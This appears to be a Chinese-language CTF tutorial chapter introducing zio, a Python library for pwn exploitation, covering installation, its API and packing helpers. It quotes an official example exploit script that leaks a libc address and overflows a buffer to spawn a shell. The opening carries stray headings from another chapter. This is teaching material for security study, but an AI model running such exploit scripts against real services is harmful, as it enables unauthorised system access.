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# 3.3.4 返回导向编程(ROP)
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- [ROP 简介](rop-简介)
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- [ROP 简介](#rop-简介)
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## ROP 简介
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doc/4.6_zio.md
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# 4.6 Zio
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# 4.6 zio
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- [zio 简介](#zio-简介)
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- [安装](#安装)
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- [使用方法](#使用方法)
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- [zio 在 CTF 中的应用](#zio-在-CTF-中的应用)
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## zio 简介
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[zio](https://github.com/zTrix/zio) 是一个易用的 Python io 库,在 Pwn 题目中被广泛使用,zio 的主要目标是在 stdin/stdout 和 TCP socket io 之间提供统一的接口,所以当你在本地完成 利用开发后,使用 zio 可以很方便地将目标切换到远程服务器。
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zio 的哲学:
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```python
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from zio import *
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if you_are_debugging_local_server_binary:
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io = zio('./buggy-server') # used for local pwning development
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elif you_are_pwning_remote_server:
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io = zio(('1.2.3.4', 1337)) # used to exploit remote service
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io.write(your_awesome_ropchain_or_shellcode)
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# hey, we got an interactive shell!
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io.interact()
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```
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官方示例:
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```python
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from zio import *
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io = zio('./buggy-server')
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# io = zio((pwn.server, 1337))
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for i in xrange(1337):
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io.writeline('add ' + str(i))
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io.read_until('>>')
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io.write("add TFpdp1gL4Qu4aVCHUF6AY5Gs7WKCoTYzPv49QSa\ninfo " + "A" * 49 + "\nshow\n")
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io.read_until('A' * 49)
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libc_base = l32(io.read(4)) - 0x1a9960
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libc_system = libc_base + 0x3ea70
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libc_binsh = libc_base + 0x15fcbf
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payload = 'A' * 64 + l32(libc_system) + 'JJJJ' + l32(libc_binsh)
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io.write('info ' + payload + "\nshow\nexit\n")
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io.read_until(">>")
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# We've got a shell;-)
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io.interact()
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```
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需要注意的的是,zio 正在逐步被开发更活跃,功能更完善的 pwntools 取代,但如果你使用的是 32 位 Linux 系统,zio 可能是你唯一的选择。
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## 安装
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zio 仅支持 Linux 和 OSX,并基于 python 2.6, 2.7。
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```
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$ sudo pip2 install zio
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```
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`termcolor` 库是可选的,用于给输出上色:`$ sudo pip2 install termcolor`。
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## 使用方法
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由于没有文档,我们通过读源码来学习吧,不到两千行,很轻量,这也意味着你可以根据自己的需求很容易地进行修改。
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总共导出了这些关键字:
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```python
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__all__ = ['stdout', 'log', 'l8', 'b8', 'l16', 'b16', 'l32', 'b32', 'l64', 'b64', 'zio', 'EOF', 'TIMEOUT', 'SOCKET', 'PROCESS', 'REPR', 'EVAL', 'HEX', 'UNHEX', 'BIN', 'UNBIN', 'RAW', 'NONE', 'COLORED', 'PIPE', 'TTY', 'TTY_RAW', 'cmdline']
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```
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zio 对象的初始化定义:
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```python
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def __init__(self, target, stdin = PIPE, stdout = TTY_RAW, print_read = RAW, print_write = RAW, timeout = 8, cwd = None, env = None, sighup = signal.SIG_DFL, write_delay = 0.05, ignorecase = False, debug = None):
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```
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通常可以这样:
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```python
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io = zio(target, timeout=10000, print_read=COLORED(RAW,'red'), print_write=COLORED(RAW,'green'))
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```
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内部函数很多,下面是常用的:
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```python
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def print_write(self, value):
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def print_read(self, value):
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def writeline(self, s = ''):
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def write(self, s):
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def read(self, size = None, timeout = -1):
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def readlines(self, sizehint = -1):
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def read_until(self, pattern_list, timeout = -1, searchwindowsize = None):
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def gdb_hint(self, breakpoints = None, relative = None, extras = None):
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def interact(self, escape_character=chr(29), input_filter = None, output_filter = None, raw_rw = True):
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```
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zio 里的 `read` 和 `write` 对应到 pwntools 里就是 `recv` 和 `send`。
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另外是对字符的拆包解包,是对 struct 库的封装:
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```python
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>>> l32(0xdeedbeaf)
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'\xaf\xbe\xed\xde'
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>>> l32('\xaf\xbe\xed\xde')
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3740122799
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>>> hex(l32('\xaf\xbe\xed\xde'))
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'0xdeedbeaf'
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>>> hex(b64('ABCDEFGH'))
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'0x4142434445464748'
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>>> b64(0x4142434445464748)
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'ABCDEFGH'
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```
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`l` 和 `b` 就是指小端序和大端序。这些函数可以对应 pwntools 里的 `p32()`,`p64()`等。
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当然你也可以直接在命令行下使用它:
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```
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$ zio -h
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usage:
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$ zio [options] cmdline | host port
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options:
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-h, --help help page, you are reading this now!
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-i, --stdin tty|pipe, specify tty or pipe stdin, default to tty
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-o, --stdout tty|pipe, specify tty or pipe stdout, default to tty
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-t, --timeout integer seconds, specify timeout
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-r, --read how to print out content read from child process, may be RAW(True), NONE(False), REPR, HEX
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-w, --write how to print out content written to child process, may be RAW(True), NONE(False), REPR, HEX
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-a, --ahead message to feed into stdin before interact
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-b, --before don't do anything before reading those input
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-d, --decode when in interact mode, this option can be used to specify decode function REPR/HEX to input raw hex bytes
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-l, --delay write delay, time to wait before write
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```
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## zio 在 CTF 中的应用
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